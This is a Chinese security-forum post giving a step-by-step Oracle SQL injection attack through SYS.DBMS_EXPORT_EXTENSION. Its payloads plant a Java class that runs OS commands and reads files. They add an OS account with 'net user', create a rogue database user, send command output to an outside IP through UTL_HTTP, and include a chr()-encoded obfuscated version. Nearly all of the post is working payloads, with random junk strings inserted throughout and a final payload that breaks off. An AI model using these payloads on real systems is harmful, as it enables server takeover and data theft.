找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2344|回复: 0
打印 上一主题 下一主题

实例演示oracle注入获取cmdshell的全过程

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-18 12:21:48 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成 7 e$ P/ b& }2 v
  P5 k: c7 I7 H* ?/ w& N7 r* {6 b
  /xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....) " m" K7 F- K6 b8 [5 H( C; n! y
的形式即可。(用" 'a'|| "是为了让语句返回true值)
, l: j2 V/ R: u  l语句有点长,可能要用post提交。
  H6 l4 t6 ~$ U; K" f  Z- C以下是各个步骤: 6 U4 v( w" |3 C- o1 o
1.创建包
5 j; ^6 n: T% T2 o0 n" o通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:- Y2 m' q; O2 M' e
/xxx.jsp?id=1 and '1'<>'a'||( * S0 s! `3 p9 i  _' u* x
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
. Q0 k+ t  E0 x& Z# h) ^create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
+ W/ e7 M* q1 qnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}* ]3 l5 m5 L; S8 h: a
}'''';END;'';END;--','SYS',0,'1',0) from dual + L0 c5 d; b- d
) ; }, P4 V& C5 ^7 [; P9 s6 V: d2 c
------------------------
; r1 P; W9 E6 ?6 x, p" r2 w3 q9 C如果url有长度限制,可以把readFile()函数块去掉,即: % L2 _5 T& x: n2 I$ c; ]2 f9 W/ V
/xxx.jsp?id=1 and '1'<>'a'||(
' J. ?) s" p! E; C' I- H1 G1 Lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
2 F7 W' r0 g/ V$ f2 `3 tcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(0 n2 W6 E$ F$ Z$ K
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}, X+ S: {* n2 U4 r6 z
}'''';END;'';END;--','SYS',0,'1',0) from dual / d6 u  X4 T6 }) X8 G' l4 A5 ~
)
) ?6 A$ a, }) k同时把后面步骤 提到的 对readFile()的处理语句去掉。
0 a/ u' d% M& c------------------------------ 2 O  {$ T* J: ]1 n1 R
2.赋Java权限
' ]' f' f* b" n1 b7 A' Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual6 h/ Z6 g4 x& k4 F
3.创建函数 . n7 Q3 v( j; h; m0 u
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''': e# _7 }* N. r) V
create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
: K; ]1 l& d  t: v- n( sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''% L& D7 J  w/ E  _0 D
create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name ''''''''LinxUtil.readFile(java.lang.String) return String'''''''';   '''';END;'';END;--','SYS',0,'1',0) from dual
) F; o; m  {/ D4.赋public执行函数的权限 ) k9 \2 x) y( ]0 y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual8 V( }2 T0 k  C6 B+ w; P: J- U/ A
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual, C& w- n) i7 O; u. r+ ]0 u& W9 \0 t
5.测试上面的几步是否成功
6 m/ a. g" y. U3 kand '1'<>'11'||( ) [  y4 Q; h& d/ w' H2 S- A
select  OBJECT_ID from all_objects where  object_name ='LINXRUNCMD' 7 c" J2 I; d3 b# }8 @: I! x7 n
) 9 b/ c' M- b/ q# v2 k
and '1'<>( ( V! v  W/ C& N' r3 H. _
select  OBJECT_ID from all_objects where  object_name ='LINXREADFILE' * Z3 X( O  q: P' W
) * W# b/ @$ a8 Y
6.执行命令: & f1 H! Y" \& c5 E
/xxx.jsp?id=1 and '1'<>(
! `( w3 q$ V& e# u9 Qselect  sys.LinxRunCMD('cmd /c net user linx /add') from dual
. t9 I  B% d9 b& z; A2 O( `1 T6 T7 B0 c1 F" H' M* X; Z: a: w
) + o" \# M* G! c3 O$ X# w% S
/xxx.jsp?id=1 and '1'<>(
( p8 P/ p& v5 aselect  sys.LinxReadFile('c:/boot.ini') from dual8 G& ^  L0 ]$ Z4 x1 F( }& ^

6 t- d4 M) m8 o! b* A)) i  v' w, n, Q5 [2 Q# d  W- _! d2 C" r
  6 C- s) f, D2 j  @* C% v) w# ?
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。 # m7 V4 m* \+ ]2 m  P! S" S
如果要查看运行结果可以用 union : + ^& g- j, \/ S8 [
/xxx.jsp?id=1 union select  sys.LinxRunCMD('cmd /c net user linx /add') from dual
) r: ^) b9 ~6 W2 k$ i) U# _或者UTL_HTTP.request(: ) f6 J2 ?8 K& B5 A
/xxx.jsp?id=1 and '1'<>(
1 C% A$ ]0 k5 u" ?# T& U9 O: F) S. bSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
* e* t2 g; b3 s# D0 j4 s)
1 B% x) `. v& p; w0 I+ Y/xxx.jsp?id=1 and '1'<>(   i; Q6 U7 W$ w% P5 M
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
. |) e6 l% I9 j6 T/ }) ; y( J0 m" l* O6 H  C
注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。
( u- y  G! u3 ?/ ~& i% C  d-------------------- ' g) I+ E" U8 b
6.内部变化
9 L( d. ^6 X3 S/ Y3 p- P通过以下命令可以查看all_objects表达改变:
# n/ M8 Q- X. l/ @$ U) ]" v2 @select  * from all_objects where  object_name like '%LINX%' or  object_name like '%Linx%'
. K. K' L+ m: F- v0 E+ D7.删除我们创建的函数
4 Y4 p+ o, {2 t  U" s6 T9 p" ?3 L% |# _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
( A0 q' j6 G9 u% R% Y& _% @drop function LinxRunCMD  '''';END;'';END;--','SYS',0,'1',0) from dual
6 G2 O, d& c9 g. K==================================================== ) ^/ z1 R) g/ `, l. q4 U6 N
全文结束。谨以此文赠与我的朋友。 . E& {; x3 \  S& H, C/ |
linx
* d5 C+ e0 c' ?0 B4 c: y/ C124829445 1 b5 U: G# a# i, H* @# R  W1 {8 u
2008.1.12 ' J  _* ]2 Q4 U
linyujian@bjfu.edu.cn
: p5 J  L& ^- L4 B( H; m" P====================================================================== ; s8 w+ l0 E0 C* A/ ^8 L5 `
测试漏洞的另一方法: 1 p6 M. j3 h8 b2 C& p2 _# z( h
创建oracle帐号: # T- u  ]5 c. l6 f! G: U: z9 |7 c
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''/ y9 ^& X4 Z+ k% v6 J, s
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
' K4 \. Q0 \7 J% i1 a即: 1 Q: p5 J& _* W! c0 p
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),6 Y, c$ q) Z! X( D5 z1 a
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual * ?; I9 \4 b' c4 h& F/ N6 ^
确定漏洞存在:
$ G0 \8 \, c1 x1<>(
* w+ N2 ]5 p/ e/ Tselect user_id from all_users where username='LINXSQL'
+ z# R! X6 u$ m)
7 v( v* V  _0 E  l给linxsql连接权限: - r2 ^. M/ u- m
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''8 M' q) R: \  M* t: `$ H
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
( s8 M+ y3 W7 Z删除帐号: $ V4 a/ ^/ c$ S. |
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''7 g) A: G1 E+ \1 p8 K) _
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 5 t/ O) ~+ o  Y5 x% _' E: l
======================
; S6 Y: |% G! M: i7 O2 f- R以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
% s% \3 p0 t. X1 _  Z0 v9 |1.jsp?id=1 and '1'<>( & o4 t2 ~( C  a+ `3 @: y
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
' E* E) w2 Y5 `) rcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   '''';END;'';END;--','SYS',0,'1',0) from dual) _6 s; |! r' H6 u* d, E
) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE
8 P" A4 C1 W- Q )) p  Q. ^0 N; S4 Y# T7 Y# O

) F; `" p; P( e. u! c/ H+ Y) H9 I6 D2 y/ z. K
8 h; a. o6 ]' l+ G% f& g
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表